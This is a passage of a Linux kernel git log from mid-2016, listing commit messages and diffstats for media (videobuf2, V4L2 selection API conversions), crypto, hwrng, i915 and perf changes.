drivers/media/v4l2-core/videobuf2-dma-contig.c | 9 +++++++++ drivers/media/v4l2-core/videobuf2-dma-sg.c | 6 ++++++ 2 files changed, 15 insertions(+) commit 0ff657b0f6120cb53f98b1b42c87af34670edff5 Author: Hans Verkuil Date: Thu Jul 21 09:14:02 2016 -0300 [media] vb2: don't return NULL for alloc and get_userptr ops Always return an ERR_PTR() instead of NULL. This makes the behavior of alloc, get_userptr and attach_dmabuf the same. Update the documentation in videobuf2-core.h as well. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-core.c | 12 ++++++++---- drivers/media/v4l2-core/videobuf2-dma-sg.c | 13 +++++++------ drivers/media/v4l2-core/videobuf2-vmalloc.c | 13 ++++++++----- include/media/videobuf2-core.h | 6 +++--- 4 files changed, 26 insertions(+), 18 deletions(-) commit 82019205e3a8fc687c4ee6538b57039884be4ccc Author: Javier Martinez Canillas Date: Wed Jul 20 13:18:25 2016 -0300 [media] vb2: remove TODO comment for dma-buf in QBUF There is a TODO comment about the dma-buf being mapped in VIDIOC_QBUF instead of doing it closer to when the actual DMA is going to happen when the buffers are queued in the driver (i.e: __enqueue_in_driver). But there is a reason to do it earlier in QBUF, and is that userspace has no way to know if a exported dma-buf can be imported successfully and so relies on QBUF succeeding as indication that the dma-buf mapped. If QBUF fails, the application can fallback to another streaming I/O method. But moving the dma-buf mapping later when queueing the buffers can be too late for userspace to recover, since it may had dropped the buffer(s) already when it knows that the dma-buf mapping failed. So remove the TODO instead and change the comment to explain this. Suggested-by: Hans Verkuil Signed-off-by: Javier Martinez Canillas Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-core.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 14150723659af133e4b205ccf6ff8d93c1384014 Author: Javier Martinez Canillas Date: Wed Jul 20 13:07:55 2016 -0300 [media] vb2: include lengths in dmabuf qbuf debug message If the VIDIOC_QBUF ioctl fails due a wrong dmabuf length, it's useful to get the invalid and minimum lengths as a debug info. Before this patch: vb2-core: __qbuf_dmabuf: invalid dmabuf length for plane 1 After this patch: vb2-core: __qbuf_dmabuf: invalid dmabuf length 221248 for plane 1, minimum length 410880 Signed-off-by: Javier Martinez Canillas Acked-by: Sakari Ailus Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/videobuf2-core.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 16d56963e832339fc2dff6a4afce14138fb61932 Author: Sudip Mukherjee Date: Tue Aug 23 20:28:54 2016 +0530 crypto: rockchip - use devm_add_action_or_reset() If devm_add_action() fails we are explicitly calling the cleanup to free the resources allocated. Lets use the helper devm_add_action_or_reset() and return directly in case of error, as we know that the cleanup function has been already called by the helper if there was any error. Signed-off-by: Sudip Mukherjee Reviewed-by: Heiko Stuebner Signed-off-by: Herbert Xu drivers/crypto/rockchip/rk3288_crypto.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e09287dfef280dbe9f9aa1faa7a125957e9b7fbb Author: Stephan Mueller Date: Tue Aug 23 10:09:32 2016 +0200 crypto: rsa - allow keys >= 2048 bits in FIPS mode With a public notification, NIST now allows the use of RSA keys with a modulus >= 2048 bits. The new rule allows any modulus size >= 2048 bits provided that either 2048 or 3072 bits are supported at least so that the entire RSA implementation can be CAVS tested. This patch fixes the inability to boot the kernel in FIPS mode, because certs/x509.genkey defines a 4096 bit RSA key per default. This key causes the RSA signature verification to fail in FIPS mode without the patch below. Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/rsa_helper.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f223c30f1ee9d327df2761f0546c413aabe8f356 Author: Florian Echtler Date: Tue May 31 17:15:31 2016 -0300 [media] sur40: properly report a single frame rate of 60 FPS The device hardware is always running at 60 FPS, so report this both via PARM_IOCTL and ENUM_FRAMEINTERVALS. [hans.verkuil@cisco.com: fix suspect indent checkpatch warning] [mchehab@s-opensource.com: fix a trivial merge conflict] Signed-off-by: Martin Kaltenbrunner Signed-off-by: Florian Echtler Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/input/touchscreen/sur40.c | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) commit d1a3a036637aac0e473f602347f879afcf91236c Author: Matthew Auld Date: Tue Aug 23 16:00:44 2016 +0100 drm/i915: free intel_fb We need to free the allocated intel_fb in the error path, not intel_fb->base. Otherwise we risk calling kfree with a non-kmalloc'd address, which is bound to give us grief at some point. Signed-off-by: Matthew Auld Reviewed-by: Chris Wilson Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471964444-24460-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/intel_display.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 59df87c3498a34283baf185ab0396f4742acdee5 Author: Fabio Estevam Date: Sun Aug 21 23:37:27 2016 -0300 crypto: mxc-scc - check clk_prepare_enable() error clk_prepare_enable() may fail, so we should better check its return value and propagate it in the case of failure. Signed-off-by: Fabio Estevam Signed-off-by: Herbert Xu drivers/crypto/mxc-scc.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 161040fc1c2a4a91765c18ec260589475cb791d9 Author: PrasannaKumar Muralidharan Date: Sat Aug 20 21:31:06 2016 +0530 hwrng: omap3-rom - Remove obsoleted functions Remove omap3_rom_rng_data_present method as it was returning 1 always. Use .read callback instead of .data_read callback. This avoids use of obsolete callbacks. This patch is not tested with hardware as I don't have access to it. Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/omap3-rom-rng.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 1a45d7e343251e5396d353c1ae6ab1cebead9766 Author: Wei Yongjun Date: Sat Aug 20 15:06:51 2016 +0000 crypto: drbg - fix error return code Fix to return a negative error code from the error handling case instead of 0. Signed-off-by: Wei Yongjun Acked-by: Stephan Mueller Signed-off-by: Herbert Xu crypto/drbg.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit b46b9d1aadf7f31eb5c0bab20cd61e71011156cf Author: Wei Yongjun Date: Sat Aug 20 10:48:53 2016 +0000 crypto: sun4i-ss - fix missing unlock on error in sun4i_hash() Add the missing unlock before return from function sun4i_hash() in the error handling case. Fixes: 477d9b2e591b ("crypto: sun4i-ss - unify update/final function") Signed-off-by: Wei Yongjun Acked-by: Corentin LABBE Signed-off-by: Herbert Xu drivers/crypto/sunxi-ss/sun4i-ss-hash.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 39457acda9139bb078d1b8f974651a194a397060 Author: Martin Schwidefsky Date: Fri Aug 19 14:19:30 2016 +0200 crypto: xor - skip speed test if the xor function is selected automatically If the architecture selected the xor function with XOR_SELECT_TEMPLATE the speed result of the do_xor_speed benchmark is of limited value. The speed measurement increases the bootup time a little, which can makes a difference for kernels used in container like virtual machines. Signed-off-by: Martin Schwidefsky Signed-off-by: Herbert Xu crypto/xor.c | 40 +++++++++++++++++++--------------------- 1 file changed, 19 insertions(+), 21 deletions(-) commit ed0bd721c9322e8e6ee953884706080d40106a6e Author: Daniel Thompson Date: Thu Aug 18 13:37:21 2016 +0100 hwrng: core - Improve description of the ->read() interface Currently, very few RNG drivers support single byte reads using the ->read() interface. Of the 14 drivers in drivers/char/hw_random that support this interface only three of these actually support max == 1. The other behaviours vary between return 0, return 2, return 4 and return -EIO). This is not a problem in practice because the core hw_random code never performs a read shorter than 16 bytes. The documentation for this function already contrains the alignment of the buffer pointer, so let's also guarantee that the buffer is at least as large as its alignment. This constraint is intended to be the weakest guarantee neccessary to allow driver writers to safely simplify their code. Signed-off-by: Daniel Thompson Signed-off-by: Herbert Xu include/linux/hw_random.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit f12e4ed8f0701745d1a79e23e75fc24b6e3155c7 Author: Eric Biggers Date: Wed Aug 17 15:47:11 2016 -0700 crypto: doc - fix documentation for bulk registration functions Update the documentation for crypto_register_algs() and crypto_unregister_algs() to match the actual behavior. Signed-off-by: Eric Biggers Signed-off-by: Herbert Xu Documentation/DocBook/crypto-API.tmpl | 38 ++++++++++++++++++++++++----------- 1 file changed, 26 insertions(+), 12 deletions(-) commit f22bede31378119e439758ea56f4f79462199a0d Author: Ricardo Ribalda Date: Fri Jul 22 16:09:06 2016 -0300 [media] Documentation: Fix V4L2_CTRL_FLAG_VOLATILE V4L2_CTRL_FLAG_VOLATILE behaviour when V4L2_CTRL_FLAG_EXECUTE_ON_WRITE is set was not properly explained. Also set some hyperlink to ease the Documentation browsing. Credit-to: Hans Verkuil [mchehab@s-opensource.com: fix a trivial merge conflict] Reported-by: Dimitrios Katsaros Signed-off-by: Ricardo Ribalda Delgado Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 3f8d56b0223d18b58597331cdf8422348dd51870 Author: Hans Verkuil Date: Wed Jul 20 09:39:42 2016 -0300 [media] media: doc-rst: document ENODATA for cropping ioctls Document that the cropping ioctls can return ENODATA if the operation isn't supported for the current input or output. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/vidioc-cropcap.rst | 3 +++ Documentation/media/uapi/v4l/vidioc-g-crop.rst | 3 +++ Documentation/media/uapi/v4l/vidioc-g-selection.rst | 3 +++ 3 files changed, 9 insertions(+) commit 0d0abef8d457c96dbb388cac5d3aec81650d8036 Author: Hans Verkuil Date: Wed Jul 20 09:31:25 2016 -0300 [media] vivid: return -ENODATA if the current input doesn't support g/s_selection Returning -EINVAL indicates wrong arguments, but that's not the case here. Returning -ENOTTY is also no option, since the ioctl is implemented, but it just is not valid for this input. So use -ENODATA instead. This is also used elsewhere when an ioctl isn't valid for a specific input. In this case G/S_SELECTION returned -EINVAL for the webcam input. That input doesn't support cropping, instead it uses ENUM_FRAMESIZES to enumerate a list of discrete frame sizes. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vivid/vivid-vid-cap.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ecf37493f4bda87b77c83a4f64132e287cb55fc8 Author: Hans Verkuil Date: Mon Jul 4 05:08:01 2016 -0300 [media] v4l2-subdev: rename cropcap to g_pixelaspect The old cropcap video op is now only used to pass the pixelaspect ratio, so rename it. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/adv7180.c | 12 ++++++------ drivers/media/platform/rcar-vin/rcar-v4l2.c | 2 +- include/media/v4l2-subdev.h | 4 ++-- 3 files changed, 9 insertions(+), 9 deletions(-) commit 1f981a48dc89c40019819464d71185cc37096dfa Author: Hans Verkuil Date: Sun Jul 3 08:14:17 2016 -0300 [media] pvrusb2: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Cc: Mike Isely Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/pvrusb2/pvrusb2-v4l2.c | 81 ++++++++++++++++++++------------ 1 file changed, 51 insertions(+), 30 deletions(-) commit 516aca33333d8ea61c1bc0879ed080cbdf196199 Author: Hans Verkuil Date: Sun Jul 3 07:53:31 2016 -0300 [media] vpbe_display: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Cc: Prabhakar Lad Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/davinci/vpbe_display.c | 65 +++++++++++++++------------ 1 file changed, 37 insertions(+), 28 deletions(-) commit ffc2a6bb55b2b7c873535c35b7e1ced763ff8bfe Author: Hans Verkuil Date: Sun Jul 3 08:28:43 2016 -0300 [media] vpfe_capture: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Cc: Prabhakar Lad Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/davinci/vpfe_capture.c | 52 +++++++++++++++++---------- 1 file changed, 34 insertions(+), 18 deletions(-) commit 540da0258c6a8fe2d7ca3ee6fecb21ab75a6bbc7 Author: Hans Verkuil Date: Sun Jul 3 08:28:28 2016 -0300 [media] zoran: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/zoran/zoran_driver.c | 113 ++++++++++++++------------------- 1 file changed, 49 insertions(+), 64 deletions(-) commit 802d62c1db166d4ef5a27c81b372437a409b033e Author: Hans Verkuil Date: Sun Jul 3 07:39:00 2016 -0300 [media] saa7134: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/saa7134/saa7134-video.c | 39 +++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 12 deletions(-) commit d1d094618eb24abb03a56fea7bcc6d848acb7880 Author: Hans Verkuil Date: Sun Jul 3 07:12:05 2016 -0300 [media] omap_vout: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/omap/omap_vout.c | 53 +++++++++++++++++---------------- 1 file changed, 27 insertions(+), 26 deletions(-) commit b714fb006482f23d4439e6916ce922225aa3fe38 Author: Hans Verkuil Date: Sun Jul 3 07:05:16 2016 -0300 [media] bttv: convert g/s_crop to g/s_selection This is part of a final push to convert all drivers to g/s_selection. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/bt8xx/bttv-driver.c | 59 +++++++++++++++++++++++------------ drivers/media/pci/bt8xx/bttvp.h | 2 +- 2 files changed, 40 insertions(+), 21 deletions(-) commit 10d5509c8d50a2c2f761a08a616530dced35e2d8 Author: Hans Verkuil Date: Mon Dec 14 08:25:32 2015 -0200 [media] v4l2: remove g/s_crop from video ops Replace all calls to g/s_crop by calls to the get/set_selection pad ops. Remove the old g/s_crop video ops since they are now no longer used. The cropcap video op is now only used to pass pixelaspect information, and is only needed if the pixelaspect is not 1:1. Signed-off-by: Hans Verkuil Cc: Guennadi Liakhovetski Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ak881x.c | 28 +++-- drivers/media/i2c/soc_camera/imx074.c | 42 +++---- drivers/media/i2c/soc_camera/mt9m001.c | 70 ++++++----- drivers/media/i2c/soc_camera/mt9m111.c | 57 ++++----- drivers/media/i2c/soc_camera/mt9t031.c | 54 +++++---- drivers/media/i2c/soc_camera/mt9t112.c | 60 +++++----- drivers/media/i2c/soc_camera/mt9v022.c | 68 ++++++----- drivers/media/i2c/soc_camera/ov2640.c | 41 +++---- drivers/media/i2c/soc_camera/ov5642.c | 53 +++++---- drivers/media/i2c/soc_camera/ov6650.c | 74 ++++++------ drivers/media/i2c/soc_camera/ov772x.c | 44 ++++--- drivers/media/i2c/soc_camera/ov9640.c | 41 +++---- drivers/media/i2c/soc_camera/ov9740.c | 41 +++---- drivers/media/i2c/soc_camera/rj54n1cb0c.c | 52 +++++---- drivers/media/i2c/soc_camera/tw9910.c | 47 +++----- drivers/media/i2c/tvp5150.c | 81 +++++++------ drivers/media/platform/omap3isp/ispvideo.c | 88 +++++++++----- drivers/media/platform/sh_vou.c | 15 ++- drivers/media/platform/soc_camera/pxa_camera.c | 17 ++- drivers/media/platform/soc_camera/rcar_vin.c | 30 +++-- .../platform/soc_camera/sh_mobile_ceu_camera.c | 38 +++--- drivers/media/platform/soc_camera/soc_camera.c | 130 ++++++--------------- .../platform/soc_camera/soc_camera_platform.c | 45 +++---- drivers/media/platform/soc_camera/soc_scale_crop.c | 97 ++++++++------- drivers/media/platform/soc_camera/soc_scale_crop.h | 6 +- drivers/staging/media/omap4iss/iss_video.c | 99 ++++++++++++++++ include/media/soc_camera.h | 7 +- include/media/v4l2-subdev.h | 6 - 28 files changed, 751 insertions(+), 680 deletions(-) commit 65d9e14a659520c554feea8ef17ee3109bd67ebd Author: Steve Longerbeam Date: Tue Jul 19 21:03:32 2016 -0300 [media] media: adv7180: add power pin control Some targets control the ADV7180 power pin via a gpio, so add optional support for "powerdown" pin control. Signed-off-by: Steve Longerbeam Tested-by: Tim Harvey Acked-by: Lars-Peter Clausen Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab .../devicetree/bindings/media/i2c/adv7180.txt | 5 ++++ drivers/media/i2c/Kconfig | 2 +- drivers/media/i2c/adv7180.c | 27 ++++++++++++++++++++++ 3 files changed, 33 insertions(+), 1 deletion(-) commit ce5d6290df665bc4931ad01c38bbd4431318eec3 Author: Steve Longerbeam Date: Tue Jul 19 21:03:30 2016 -0300 [media] media: adv7180: define more registers Replace hard-coded addresses with new register macro defines. No functional changes. Signed-off-by: Steve Longerbeam Acked-by: Lars-Peter Clausen Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/adv7180.c | 73 ++++++++++++++++++++++++++++++--------------- 1 file changed, 49 insertions(+), 24 deletions(-) commit c6e4b8c1d3a81a2611e0a045f1c1e34ad3fb092e Author: Markus Elfring Date: Tue Jul 19 16:24:26 2016 -0300 [media] tw686x: Delete an unnecessary check before the function call "video_unregister_device" The video_unregister_device() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw686x/tw686x-video.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 04e11960aa9a5edbe612dd8623190e341aedab35 Author: Masami Hiramatsu Date: Wed Aug 24 14:57:58 2016 +0900 perf probe: Remove unused tracing_dir variable Remove unused tracing_dir variable from open_probe_events(). Signed-off-by: Masami Hiramatsu Cc: Jiri Olsa Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/147201827792.5713.4165387506020511920.stgit@devbox Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-file.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit fe094dad25ec28585a591db823c768af2b2be1f4 Author: Markus Elfring Date: Tue Jul 19 14:54:16 2016 -0300 [media] v4l2-common: Delete an unnecessary check before the function call "spi_unregister_device" The spi_unregister_device() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/v4l2-core/v4l2-common.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d8eddb15e4e436ec44464783687f0057a38fb013 Author: Markus Elfring Date: Sun Jul 17 17:52:49 2016 -0300 [media] cec: Delete an unnecessary check before the function call "rc_free_device" The rc_free_device() function tests whether its argument is NULL and then returns immediately. Thus the test around the call is not needed. This issue was detected by using the Coccinelle software. Signed-off-by: Markus Elfring Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/cec/cec-core.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 605a74e62809396cfcb786934f12be84a0da2282 Author: Hans Verkuil Date: Sun Jul 17 06:03:15 2016 -0300 [media] cobalt: support reduced fps Add support for reduced fps (i.e. 59.94 Hz instead of 60 Hz) for the HDMI output. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cobalt/cobalt-v4l2.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 969ac39e3df0f76fdb534efc7060c77f22fb5ac5 Author: Bhaktipriya Shridhar Date: Sat Jul 16 08:04:41 2016 -0300 [media] ad9389b: Remove deprecated create_singlethread_workqueue The workqueue work_queue is involved in EDID (Extended Display Identification Data) handling. It has a single work item(&state->edid_handler) and hence doesn't require ordering. It is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. &state->edid_handler is a self requeueing work item and it has been been sync cancelled in ad9389b_remove() to ensure that nothing is pending when the driver is disconnected. The unused label err_unreg has also been dropped. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ad9389b.c | 22 ++++------------------ 1 file changed, 4 insertions(+), 18 deletions(-) commit 53eebd84c3ac2a81da94535594dba6ff637311dd Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:55:56 2016 -0300 [media] gspca: finepix: Remove deprecated create_singlethread_workqueue The workqueue "work_thread" is involved in streaming the camera data. It has a single work item(&dev->work_struct) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Work item has been flushed in sd_stop0() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Acked-by: Frank Zago Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/finepix.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit e59646895778f1e645b4e2f02d99aaec7a144ce1 Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:53:48 2016 -0300 [media] gspca: jl2005bcd: Remove deprecated create_singlethread_workqueue The workqueue "work_thread" is involved in streaming the camera data. It has a single work item(&sd->work_struct) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Work item has been flushed in sd_stop0() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/jl2005bcd.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 9570508386eeb192d3803a1ae4be16870f40a57f Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:52:19 2016 -0300 [media] gspca: vicam: Remove deprecated create_singlethread_workqueue The workqueue "work_thread" is involved in streaming the camera data. It has a single work item(&sd->work_struct) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Work item has been flushed in sd_stop0() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/vicam.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit c994be4a7c8471b950ed9baf4558ff488b127ec8 Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:50:28 2016 -0300 [media] gspca: sonixj: Remove deprecated create_singlethread_workqueue The workqueue "work_thread" is involved in updating the JPEG quality of the gspca_dev. It has a single work item(&sd->work) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Work item has been flushed in sd_stop0() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/sonixj.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 29a3006e5209b5dde2d370b8de1e8c18c14040e7 Author: Bhaktipriya Shridhar Date: Sat Jul 16 05:32:34 2016 -0300 [media] pvrusb2: Remove deprecated create_singlethread_workqueue The workqueue "workqueue" is involved in polling the pvrusb2 hardware (pvr2_hdw). It has a single work item(&hdw->workpoll) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Work item has been flushed in pvr2_hdw_destroy to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/pvrusb2/pvrusb2-hdw-internal.h | 1 - drivers/media/usb/pvrusb2/pvrusb2-hdw.c | 23 +++++++---------------- 2 files changed, 7 insertions(+), 17 deletions(-) commit 50d286470cd5dd6a855a34b099dbed85b58688ed Author: Wolfram Sang Date: Thu Aug 11 18:04:04 2016 -0300 [media] media: usb: zr364xx: zr364xx: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/zr364xx/zr364xx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit aab74635045bba4624c2e3cb6953c45ac5953a91 Author: Wolfram Sang Date: Thu Aug 11 18:04:03 2016 -0300 [media] media: usb: usbvision: usbvision-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/usbvision/usbvision-core.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 7c240e8c0f029402b2a9948d7071cf1633bdea99 Author: Wolfram Sang Date: Thu Aug 11 18:04:02 2016 -0300 [media] media: usb: tm6000: tm6000-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/tm6000/tm6000-video.c | 1 - 1 file changed, 1 deletion(-) commit b7eca8d43c6ea7054dd8f412158c7e465610d424 Author: Wolfram Sang Date: Thu Aug 11 18:04:01 2016 -0300 [media] media: usb: tm6000: tm6000-dvb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/tm6000/tm6000-dvb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 2685b1d1d1cdd005c0c553632c4bf48d8b483722 Author: Wolfram Sang Date: Thu Aug 11 18:04:00 2016 -0300 [media] media: usb: stkwebcam: stk-webcam: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/stkwebcam/stk-webcam.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 9d849287d512ffbe01cdd0da9c4c1e468f7f72d8 Author: Wolfram Sang Date: Thu Aug 11 18:03:59 2016 -0300 [media] media: usb: stk1160: stk1160-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/stk1160/stk1160-video.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit fc56da79930b1348a5aaed8fbeba0a279fd7b586 Author: Wolfram Sang Date: Thu Aug 11 18:03:58 2016 -0300 [media] media: usb: s2255: s2255drv: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/s2255/s2255drv.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 59b5d2497e2ffe11ef0c45f80ad693d9347daf9d Author: Wolfram Sang Date: Thu Aug 11 18:03:57 2016 -0300 [media] media: usb: pwc: pwc-if: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/pwc/pwc-if.c | 1 - 1 file changed, 1 deletion(-) commit 32dcb745ef750e38c60b9b6bbd74b95ae12e3f00 Author: Wolfram Sang Date: Thu Aug 11 